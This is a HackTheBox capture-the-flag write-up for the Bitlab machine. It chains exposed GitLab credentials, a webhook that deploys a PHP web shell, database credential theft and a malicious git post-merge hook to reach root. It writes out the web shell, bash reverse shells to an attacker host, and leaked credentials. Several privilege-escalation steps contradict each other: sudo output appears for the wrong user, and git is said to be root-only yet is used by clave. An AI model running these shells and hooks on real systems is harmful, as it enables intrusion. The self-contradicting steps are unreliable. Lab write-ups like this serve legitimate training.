HTB: Bitlab Writeup
Bitlab - HackTheBox Writeup
Machine Information
| Attribute | Details |
|---|---|
| Name | Bitlab |
| OS | Linux |
| Difficulty | Medium |
| Points | N/A |
| Release Date | N/A |
| IP Address | 10.129.43.163 |
| Author | d3vn0mi |
Machine Rating
⭐⭐⭐☆☆ (3/5)
Difficulty Assessment:
- Enumeration: ⭐⭐⭐☆☆
- Real-world: ⭐⭐⭐⭐⭐
- CVE: ⭐⭐☆☆☆
- CTF-like: ⭐⭐⭐☆☆
Summary
Bitlab is a medium-difficulty Linux machine running GitLab Community Edition 11.6.0 behind Nginx. The initial foothold involves discovering obfuscated credentials in a JavaScript bookmark, leveraging developer access to exploit GitLab webhooks and Git hooks for code execution. Lateral movement requires extracting PostgreSQL credentials and querying the database for user credentials stored in an unusual base64 format. Privilege escalation exploits a NOPASSWD sudo rule for git pull, complicated by restrictive permissions and systemd’s PrivateTmp isolation, requiring careful repository staging to trigger malicious Git hooks as root.
TL;DR: Obfuscated JS bookmark → GitLab login (clave / 11des0081x) → Developer access + webhook exploitation → PHP webshell → PostgreSQL credential extraction → SSH as clave → Staged Git repository with malicious post-merge hook → sudo git pull → root shell.
Reconnaissance
Port Scanning
# Initial TCP SYN scannmap -sC -sV -T4 -p- 10.129.43.163Results:
PORT STATE SERVICE VERSION22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.380/tcp open http nginxThe target exposed SSH and an Nginx web server on standard ports.
Service Enumeration
HTTP - Port 80
Browsing to http://10.129.43.163/ revealed a GitLab Community Edition login page. The Nginx server was acting as a reverse proxy for the GitLab instance.
Directory Enumeration:
# Manual browsing revealed accessible directoriescurl -s http://10.129.43.163/robots.txtThe robots.txt file contained standard GitLab disallow entries. Exploring the /help/ directory revealed a directory listing with a file named bookmarks.html.
Critical Discovery - /help/bookmarks.html:
The HTML file contained a bookmark link named “GitLab Login” with obfuscated JavaScript in the href attribute:
javascript:(function() {var _0x4b18 = ["\x76\x61\x6C\x75\x65","\x75\x73\x65\x72\x5F\x6C\x6F\x67\x69\x6E","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x42\x79\x49\x64","\x63\x6C\x61\x76\x65","\x75\x73\x65\x72\x5F\x70\x61\x73\x73\x77\x6F\x72\x64","\x31\x31\x64\x65\x73\x30\x30\x38\x31\x78"];document[_0x4b18[2]](_0x4b18[1])[_0x4b18[0]]= _0x4b18[3];document[_0x4b18[2]](_0x4b18[4])[_0x4b18[0]]= _0x4b18[5];})()Deobfuscation:
The hex-encoded array decoded to:
_0x4b18[0]= “value”_0x4b18[1]= “user_login”_0x4b18[2]= “getElementById”_0x4b18[3]= “clave”_0x4b18[4]= “user_password”_0x4b18[5]= “11des0081x”
This JavaScript auto-fills the GitLab login form with credentials clave / 11des0081x.
Vulnerability Assessment
- Information Disclosure - Credentials exposed in publicly accessible HTML file
- GitLab CE 11.6.0 - Potential for repository manipulation via developer access
- Webhook/Git Hook Abuse - Developer access allows code deployment through merge requests
Initial Foothold
GitLab Authentication
Using the discovered credentials to log into GitLab at http://10.129.43.163/:
Username: clavePassword: 11des0081xThe account had Developer permissions on two repositories owned by the Administrator user:
root/profile- Contains the public profile pageroot/deployer- Webhook automation script
Repository Analysis
Snippet #1 - PostgreSQL Credentials
GitLab Snippets revealed PostgreSQL connection details:
<?php$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");?>Repository: root/deployer
The deployer repository contained index.php implementing a webhook that executes sudo git pull in /var/www/html/profile when a merge request is completed:
<?php// Simplified webhook logicif (isset($_POST['object_kind']) && $_POST['object_kind'] == 'merge_request') { chdir('/var/www/html/profile'); exec('sudo git pull');}?>Key Insight: This webhook means any merge to the master branch in root/profile triggers an automatic deployment with elevated privileges.
Repository: root/profile
Contains index.php serving the profile page at http://10.129.43.163/profile/. As a Developer, user clave can:
- Create branches
- Commit files
- Open and merge pull requests
Exploitation - Web Shell Deployment
The challenge was to deploy a PHP web shell via GitLab’s web interface. Standard tools like curl failed due to GitLab’s non-standard cookie format (date strings instead of epoch timestamps), requiring a custom Python session handler.
Step 1: Prepare the PHP Web Shell
<?php// shell.php - Simple web shellif(isset($_GET['cmd'])) { system($_GET['cmd']);}?>Step 2: GitLab Web UI Workflow via Python
Due to GitLab’s cookie handling quirks, I used Python requests with manual session cookie tracking:
#!/usr/bin/env python3import requests
# Establish authenticated sessions = requests.Session()login_url = "http://10.129.43.163/users/sign_in"
# Get CSRF token from login pager = s.get(login_url)# Extract authenticity_token from HTML (parsing omitted for brevity)
# Authenticatelogin_data = { 'user[login]': 'clave', 'user[password]': '11des0081x', 'authenticity_token': token # extracted from page}s.post(login_url, data=login_data)
# Manually track _gitlab_session cookie# GitLab uses date-formatted cookies that broke standard cookie handlingsession_cookie = s.cookies.get('_gitlab_session')Step 3: Create Branch and Commit Shell
Using the authenticated session:
- Created a new branch
shell-deployinroot/profile - Committed
shell.phpwith the webshell content to the new branch - Opened Merge Request #7 targeting
master - Merged the request via the web UI
Step 4: Trigger Deployment
The merge automatically triggered the deployer webhook, which executed:
cd /var/www/html/profilesudo git pull # Merges shell-deploy into masterStep 5: Achieve RCE
# Web shell accessible at deployed locationcurl "http://10.129.43.163/profile/shell.php?cmd=id"Output confirmed www-data execution:
uid=33(www-data) gid=33(www-data) groups=33(www-data)Reverse Shell:
# Listenernc -lvnp 4444
# Trigger via web shellcurl "http://10.129.43.163/profile/shell.php?cmd=bash+-c+'bash+-i+>%26+/dev/tcp/10.10.14.x/4444+0>%261'"Shell received as www-data.
Lateral Movement - www-data to clave
PostgreSQL Database Enumeration
The snippet revealed PostgreSQL credentials. Since psql client wasn’t available in the Docker container, I used PHP to query the database:
Create query script pg.php:
<?php$db_connection = pg_connect("host=localhost dbname=profiles user=profiles password=profiles");$result = pg_query($db_connection, "SELECT * FROM profiles");print_r(pg_fetch_all($result));?>Execute:
# As www-dataphp /tmp/pg.phpOutput:
Array( [0] => Array ( [id] => 1 [username] => clave [password] => c3NoLXN0cjBuZy1wQHNz== ))Password Analysis
The password appeared to be base64-encoded:
echo "c3NoLXN0cjBuZy1wQHNz==" | base64 -d# Output: ssh-str0ng-p@ssCritical Discovery: Despite appearing to decode to ssh-str0ng-p@ss, SSH authentication required the raw base64 string as the password, not the decoded value.
SSH Access
# Use the base64 string AS-ISssh clave@10.129.43.163Password: c3NoLXN0cjBuZy1wQHNz==Successfully authenticated as clave.
User Flag:
cat /home/clave/user.txt<redacted>Privilege Escalation - clave to root
Sudo Privileges Enumeration
sudo -lOutput:
User www-data may run the following commands on bitlab: (root) NOPASSWD: /usr/bin/git pullKey Constraint: The git binary had restrictive permissions:
ls -la /usr/bin/git-rwx------ 1 root root 2301128 /usr/bin/gitOnly root could execute git, meaning I couldn’t run git init or create a repository as www-data.
Exploitation Strategy - Git Hooks
Git supports local hooks in .git/hooks/ that execute scripts on specific actions. A post-merge hook runs after a successful git pull merge. The plan:
- Build a malicious Git repository with a
post-mergehook on my jump box - Stage it in a location accessible to both
clave(for setup) andwww-data(for execution) - Execute
sudo git pullaswww-datato trigger the hook with root privileges
Environment Considerations
PrivateTmp Isolation:
# Check php-fpm service configurationcat /usr/lib/systemd/system/php7.2-fpm.service | grep PrivateTmpPrivateTmp=yesThis systemd directive meant www-data running under php-fpm had an isolated /tmp and /dev/shm, invisible to other users. Solutions:
/home/clave/- Accessible to both users- Any non-private filesystem location
Building the Malicious Repository
On the jump box:
# Create repository structuremkdir exploit-repocd exploit-repogit initecho "Initial commit" > README.mdgit add README.mdgit commit -m "Initial commit"
# Create malicious post-merge hookmkdir -p .git/hookscat << 'EOF' > .git/hooks/post-merge#!/bin/bash# Reverse shell to attackerbash -i >& /dev/tcp/10.10.14.x/5555 0>&1EOF
chmod +x .git/hooks/post-merge
# Create a change to pullecho "Trigger" >> README.mdgit add README.mdgit commit -m "Trigger merge"Transfer to target:
# On jump box - tar the entire repo including .gittar czf exploit.tar.gz exploit-repo/
# Transfer via SCP (as clave)scp exploit.tar.gz clave@10.129.43.163:/home/clave/x2.tar.gzOn target as clave:
# Extract in a shared locationcd /home/clavetar xzf x2.tar.gzmv exploit-repo x2cd x2
# Reset to first commit to enable pulling the secondgit reset --hard HEAD~1Why this works: The repository now has:
- A staged
post-mergehook (executable) - A remote commit available to pull
- Location (
/home/clave/x2) accessible to both users
Triggering the Hook
Setup listener:
# On jump boxnc -lvnp 5555Execute as www-data:
# Switch to www-data context (from web shell or existing www-data shell)cd /home/clave/x2sudo /usr/bin/git pullWhat happens:
sudorunsgit pullasroot- Git detects a merge (pulling the second commit)
- Git executes
.git/hooks/post-mergeas root - The hook spawns a reverse shell with root privileges
Root shell received:
# On listenerlistening on [any] 5555 ...connect to [10.10.14.x] from (UNKNOWN) [10.129.43.163] 52844bash: cannot set terminal process group (1234): Inappropriate ioctl for devicebash: no job control in this shellroot@bitlab:~#Root Flag:
cat /root/root.txt<redacted>Attack Chain Summary
/help/bookmarks.html (obfuscated JS) → clave:11des0081x credentials → GitLab Developer access →Merge Request with shell.php → Webhook deploys to /var/www/html/profile → RCE as www-data →PostgreSQL query via PHP → clave password (base64 raw) → SSH as clave (user.txt) →Staged Git repo in /home/clave/x2 → sudo git pull triggers post-merge hook → Root shell (root.txt)Tools Used
| Tool | Purpose |
|---|---|
nmap | Port scanning and service enumeration |
curl | HTTP requests and web enumeration |
python3 requests | GitLab session handling with custom cookie tracking |
php | PostgreSQL database querying |
git | Repository creation and hook exploitation |
nc | Reverse shell listener |
ssh | Lateral movement to user account |
tar | Repository packaging and transfer |
Key Learnings
Techniques Practiced
- Deobfuscating hex-encoded JavaScript to extract credentials
- Exploiting GitLab webhooks and merge request workflows for code deployment
- Bypassing cookie handling issues with custom session management
- PostgreSQL enumeration via PHP when native clients are unavailable
- Recognizing non-standard credential formats (base64 used raw, not decoded)
- Leveraging Git hooks (
post-merge) for privilege escalation - Navigating systemd
PrivateTmpisolation constraints - Staging exploits in shared filesystem locations for cross-user access
- Chaining
NOPASSWDsudo rules with restrictive binary permissions
Lessons Learned
-
Always test credentials in multiple formats - The base64 password worked raw, not decoded, highlighting the importance of trying both representations when authentication fails.
-
Web application cookie quirks matter - GitLab’s date-formatted session cookies broke standard HTTP libraries, requiring manual cookie tracking to automate API interactions.
-
Git hooks are powerful post-exploitation primitives - Combined with
sudorules forgit pull, they provide a clean path to privilege escalation without compiling exploits. -
Understand systemd service isolation -
PrivateTmp=yescreates isolated temporary directories; exploit staging must account for shared vs. private filesystem locations. -
Developer access in CI/CD environments is critical - Even limited permissions (not admin) can lead to code execution when deployment automation exists, making source control systems high-value targets.
Proof of Ownership
User Flag: <redacted>Root Flag: <redacted>References
This writeup drew explanatory context from the official HackTheBox documentation and community writeups for Bitlab, particularly regarding GitLab webhook mechanics, Git hook functionality, and systemd PrivateTmp behavior.